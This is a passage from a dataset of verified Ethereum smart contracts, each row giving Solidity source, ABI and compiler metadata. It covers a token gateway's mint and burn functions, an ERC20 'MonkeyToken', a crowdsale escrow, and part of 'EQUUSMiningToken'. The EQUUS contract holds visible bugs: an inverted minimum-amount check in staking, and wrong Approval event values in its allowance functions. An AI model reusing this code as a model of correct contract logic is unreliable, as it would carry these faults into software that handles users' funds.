bytes32 payloadHash = keccak256(abi.encode(_symbol, _recipient));
// Verify signature
bytes32 signedMessageHash = hashForSignature(
_symbol,
_recipient,
_amount,
msg.sender,
_nHash
);
require(
status[signedMessageHash] == false,
"Gateway: nonce hash already spent"
);
if (!verifySignature(signedMessageHash, _sig)) {
// Return a detailed string containing the hash and recovered
// signer. This is somewhat costly but is only run in the revert
// branch.
revert(
String.add8(
"Gateway: invalid signature. pHash: ",
String.fromBytes32(payloadHash),
", amount: ",
String.fromUint(_amount),
", msg.sender: ",
String.fromAddress(msg.sender),
", _nHash: ",
String.fromBytes32(_nHash)
)
);
}
status[signedMessageHash] = true;
// Mint `amount - fee` for the recipient and mint `fee` for the minter
uint256 absoluteFee = _amount.mul(mintFee).div(
BIPS_DENOMINATOR
);
uint256 receivedAmount = _amount.sub(
absoluteFee,
"Gateway: fee exceeds amount"
);
// Mint amount minus the fee
token.mint(_recipient, receivedAmount);
// Mint the fee
token.mint(feeRecipient, absoluteFee);
emit LogMint(
_recipient,
receivedAmount,
nextN,
signedMessageHash
);
nextN += 1;
}
/// @notice burn destroys tokens after taking a fee for the `_feeRecipient`,
/// allowing the associated assets to be released on their native
/// chain.
///
/// @param _to The address to receive the un-bridged asset. The format of
/// this address should be of the destination chain.
/// For example, when burning to Bitcoin, _to should be a
/// Bitcoin address.
/// @param _amount The amount of the token being burnt, in its
/// smallest value. (e.g. satoshis for BTC)
function burn(bytes calldata _to, uint256 _amount)
external {
// function burn(bytes memory _to, uint256 _amount) public returns (uint256) {
require(
token.transferFrom(_msgSender(), address(this), _amount),
"token transfer failed"
);
// The recipient must not be empty. Better validation is possible,
// but would need to be customized for each destination ledger.
require(_to.length != 0, "Gateway: to address is empty");
// Calculate fee, subtract it from amount being burnt.
uint256 fee = _amount.mul(burnFee).div(BIPS_DENOMINATOR);
uint256 amountAfterFee = _amount.sub(
fee,
"Gateway: fee exceeds amount"
);
// Burn the whole amount, and then re-mint the fee.
token.burn(address(this), _amount);
token.mint(feeRecipient, fee);
require(
// Must be strictly greater, to that the release transaction is of
// at least one unit.
amountAfterFee > minimumBurnAmount,
"Gateway: amount is less than the minimum burn amount"
);
emit LogBurn(_to, amountAfterFee, nextN, _to);
nextN += 1;
}
/// @notice verifySignature checks the the provided signature matches the provided
/// parameters.
function verifySignature(bytes32 _signedMessageHash, bytes memory _sig)
public
view
returns (bool)
{
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_signedMessageHash);
address signer = ECDSA.recover(ethSignedMessageHash, _sig);
return mintAuthority == signer;
}
/// @notice hashForSignature hashes the parameters so that they can be signed.
function hashForSignature(
string memory _symbol,
address _recipient,
uint256 _amount,
address _caller,
bytes32 _nHash
) public view returns (bytes32) {
bytes32 payloadHash = keccak256(abi.encode(_symbol, _recipient));
return
keccak256(abi.encode(payloadHash, _amount, address(token), _caller, _nHash));
}
} | [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bytes","name":"_to","type":"bytes"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"_n","type":"uint256"},{"indexed":true,"internalType":"bytes","name":"_indexedTo","type":"bytes"}],"name":"LogBurn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"_n","type":"uint256"},{"indexed":true,"internalType":"bytes32","name":"_signedMessageHash","type":"bytes32"}],"name":"LogMint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_newMintAuthority","type":"address"}],"name":"LogMintAuthorityUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"blacklistRecoverableToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_to","type":"bytes"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"claimOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"claimTokenOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"feeRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_caller","type":"address"},{"internalType":"bytes32","name":"_nHash","type":"bytes32"}],"name":"hashForSignature","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"contract TornomyERC20","name":"_token","type":"address"},{"internalType":"address","name":"_feeRecipient","type":"address"},{"internalType":"address","name":"_mintAuthority","type":"address"},{"internalType":"uint16","name":"_mintFee","type":"uint16"},{"internalType":"uint16","name":"_burnFee","type":"uint16"},{"internalType":"uint256","name":"_minimumBurnAmount","type":"uint256"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_nextOwner","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minimumBurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes32","name":"_nHash","type":"bytes32"},{"internalType":"bytes","name":"_sig","type":"bytes"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"mintAuthority","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"mintFee","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"nextN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"recoverTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"status","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"internalType":"contract TornomyERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract TornomyTokenGateway","name":"_nextTokenOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint16","name":"_nextBurnFee","type":"uint16"}],"name":"updateBurnFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_nextFeeRecipient","type":"address"}],"name":"updateFeeRecipient","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_minimumBurnAmount","type":"uint256"}],"name":"updateMinimumBurnAmount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_nextMintAuthority","type":"address"}],"name":"updateMintAuthority","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint16","name":"_nextMintFee","type":"uint16"}],"name":"updateMintFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"_signedMessageHash","type":"bytes32"},{"internalType":"bytes","name":"_sig","type":"bytes"}],"name":"verifySignature","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.16+commit.9c3226ce | false | 200 | Default | MIT | false | bzzr://1107c760c20a47eee330955da0908687f754406ce699202368be2b72c54a3a64 |
|||
MonkeyToken | MonkeyToken.sol | 0xaced3552fd6b407218d0bbb071ed57bc5abbd9f9 | Solidity | /**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract MonkeyToken is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Monkey Token";
symbol = "Monkey";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | Default | None | false | bzzr://5c5c34d980377957e84c2cd4b5dbca297ca9cfe061570e35f764278c6ce38258 |
|||
Preallocation | Preallocation.sol | 0x0b89c52bd88b532118da6d72548025fa671e2e35 | Solidity | pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
function buyTokens(address _recipient) payable;
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Preallocation is Ownable {
using SafeMath for uint;
address public investor;
uint public maxBalance;
enum States { Pending, Success, Fail }
States public state = States.Pending;
event InvestorChanged(address from, address to);
event FundsLoaded(uint value, address from);
event FundsRefunded(uint balance);
event InvestmentSucceeded(uint value);
event InvestmentFailed();
function Preallocation(address _investor, uint _maxBalance) {
investor = _investor;
maxBalance = _maxBalance;
}
function () payable {
if (this.balance > maxBalance) {
throw;
}
FundsLoaded(msg.value, msg.sender);
}
function withdraw() onlyOwner notState(States.Success) {
uint bal = this.balance;
if (!investor.send(bal)) {
throw;
}
FundsRefunded(bal);
}
function setInvestor(address _investor) onlyOwner {
InvestorChanged(investor, _investor);
investor = _investor;
}
function buyTokens(Crowdsale crowdsale) onlyOwner {
uint bal = Math.min256(this.balance, maxBalance);
crowdsale.buyTokens.value(bal)(investor);
state = States.Success;
InvestmentSucceeded(bal);
}
function setFailed() onlyOwner {
state = States.Fail;
InvestmentFailed();
}
function stateIs(States _state) constant returns (bool) {
return state == _state;
}
modifier onlyState(States _state) {
require (state == _state);
_;
}
modifier notState(States _state) {
require (state != _state);
_;
}
}
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
} | [{"constant":false,"inputs":[],"name":"setFailed","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"investor","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_state","type":"uint8"}],"name":"stateIs","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"maxBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"}],"name":"setInvestor","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"state","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"crowdsale","type":"address"}],"name":"buyTokens","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"inputs":[{"name":"_investor","type":"address"},{"name":"_maxBalance","type":"uint256"}],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"to","type":"address"}],"name":"InvestorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"from","type":"address"}],"name":"FundsLoaded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"balance","type":"uint256"}],"name":"FundsRefunded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"InvestmentSucceeded","type":"event"},{"anonymous":false,"inputs":[],"name":"InvestmentFailed","type":"event"}] | v0.4.11+commit.68ef5810 | true | null | 0000000000000000000000002c840d94dcf091b87fd63db7eb0885d9ca4b5f790000000000000000000000000000000000000000000000b2e4b323d9c5100000 | Default | false | bzzr://32ec3b9985462f4cac10e51fe1a9b9cb7c1471afd1f26bf20dd104fc261c0b9d |
|||
EQUUSMiningToken | EQUUSMiningToken.sol | 0xa462d0e6bb788c7807b1b1c96992ce1f7069e195 | Solidity | pragma solidity 0.7.0;
// SafeMath library provided by the OpenZeppelin Group on Github
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/* ERC20 Standards followed by OpenZeppelin Group libraries on Github */
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/* Staking process is followed according to the ERC900: Simple Staking Interface #900 issue on Github */
interface Staking {
event Staked(address indexed user, uint256 amount, uint256 total, bytes data);
event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data);
function stake(uint256 amount, bytes memory data) external returns (bool);
function unstake(uint256 amount, bytes memory data) external returns (bool);
function totalStakedFor(address addr) external view returns (uint256);
function totalStaked() external view returns (uint256);
function supportsHistory() external pure returns (bool);
}
/*EQUUS Protocol being created with the help of the above interfaces for compatibility*/
contract EQUUSMiningToken is IERC20, Staking {
/* Constant variables created for the ERC20 requirements*/
string public constant name = "EQUUSMiningToken";
string public constant symbol = "EQMT";
uint8 public constant decimals = 18;
//Burn address saved as constant for future burning processes
address public constant burnaddress = 0x0000000000000000000000000000000000000000;
mapping(address => uint256) balances; //EQUUS balance for all network participants
mapping(address => uint256) stakedbalances; //EQUUS stake balance to lock stakes
mapping(address => uint) staketimestamps; //EQUUS stake timestamp to record updates on staking for multipliers, this involves the idea that multipliers will reset upon staking
mapping(address => mapping (address => uint256)) allowed; //Approval array to record delegation of thrid-party accounts to handle transaction per allowance
/* Total variables created to record information */
uint256 totalSupply_;
uint256 totalstaked = 0;
address theowner; //Owner address saved to recognise on future processes
using SafeMath for uint256; //Important*** as this library provides security to handle maths without overflow attacks
constructor() public {
totalSupply_ = 100000000000000000000000000;
balances[msg.sender] = totalSupply_;
theowner = msg.sender;
emit Transfer(msg.sender, msg.sender, totalSupply_);
} //Constructor stating the total supply as well as saving owner address and sending supply to owner address
//Function to report on totalsupply following ERC20 Standard
function totalSupply() public override view returns (uint256) {
return totalSupply_;
}
//Function to report on account balance following ERC20 Standard
function balanceOf(address tokenOwner) public override view returns (uint) {
return balances[tokenOwner];
}
//Burn process is just a funtion to calculate burn amount depending on an amount of Tokens
function cutForBurn(uint256 a) public pure returns (uint256) {
uint256 c = a.div(20);
return c;
}
//Straight forward transfer following ERC20 Standard
function transfer(address receiver, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[msg.sender], 'Amount exceeds balance.');
balances[msg.sender] = balances[msg.sender].sub(numTokens);
balances[receiver] = balances[receiver].add(numTokens);
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
//Approve function following ERC20 Standard
function approve(address delegate, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[msg.sender], 'Amount exceeds balance.');
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
//Allowance function to verify allowance allowed on delegate address following ERC20 Standard
function allowance(address owner, address delegate) public override view returns (uint) {
return allowed[owner][delegate];
}
//The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(addedValue <= balances[msg.sender].sub(allowed[msg.sender][spender]), 'Amount exceeds balance.');
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
//The following function is added to mitigate ERC20 API: An Attack Vector on Approve/TransferFrom Methods
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(subtractedValue <= allowed[msg.sender][spender], 'Amount exceeds balance.');
allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
}
//Transfer For function for allowed accounts to allow tranfers
function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool) {
require(numTokens <= balances[owner], 'Amount exceeds balance.');
require(numTokens <= allowed[owner][msg.sender], 'Amount exceeds allowance.');
balances[owner] = balances[owner].sub(numTokens);
allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);
balances[buyer] = balances[buyer].add(numTokens);
emit Transfer(msg.sender, buyer, numTokens);
return true;
}
//Staking processes
//Stake process created updating balances, stakebalances and also recording time on process run, the process will burn 5% of the amount
function stake(uint256 amount, bytes memory data) public override returns (bool) {
require(amount <= balances[msg.sender]);
require(amount < 20, "Amount to low to process");
balances[msg.sender] = balances[msg.sender].sub(amount);
uint256 burned = cutForBurn(amount);
totalSupply_ = totalSupply_.sub(burned);
balances[burnaddress] = balances[burnaddress].add(burned);
stakedbalances[msg.sender] = stakedbalances[msg.sender].add(amount.sub(burned));
totalstaked = totalstaked.add(amount.sub(burned));
staketimestamps[msg.sender] = block.timestamp;
emit Staked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data);
emit Transfer(msg.sender, msg.sender, amount.sub(burned));
emit Transfer(msg.sender, burnaddress, burned);
return true;
}
//This function unstakes locked in amount and burns 5%, this also updates amounts on total supply
function unstake(uint256 amount, bytes memory data) public override returns (bool) {
require(amount <= stakedbalances[msg.sender]);
require(amount <= totalstaked);
require(amount < 20, "Amount to low to process");
stakedbalances[msg.sender] = stakedbalances[msg.sender].sub(amount);
totalstaked = totalstaked.sub(amount);
uint256 burned = cutForBurn(amount);
totalSupply_ = totalSupply_.sub(burned);
balances[burnaddress] = balances[burnaddress].add(burned);
balances[msg.sender] = balances[msg.sender].add(amount.sub(burned));
emit Unstaked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data);
emit Transfer(msg.sender, msg.sender, amount.sub(burned));
emit Transfer(msg.sender, burnaddress, burned);
return true;
}
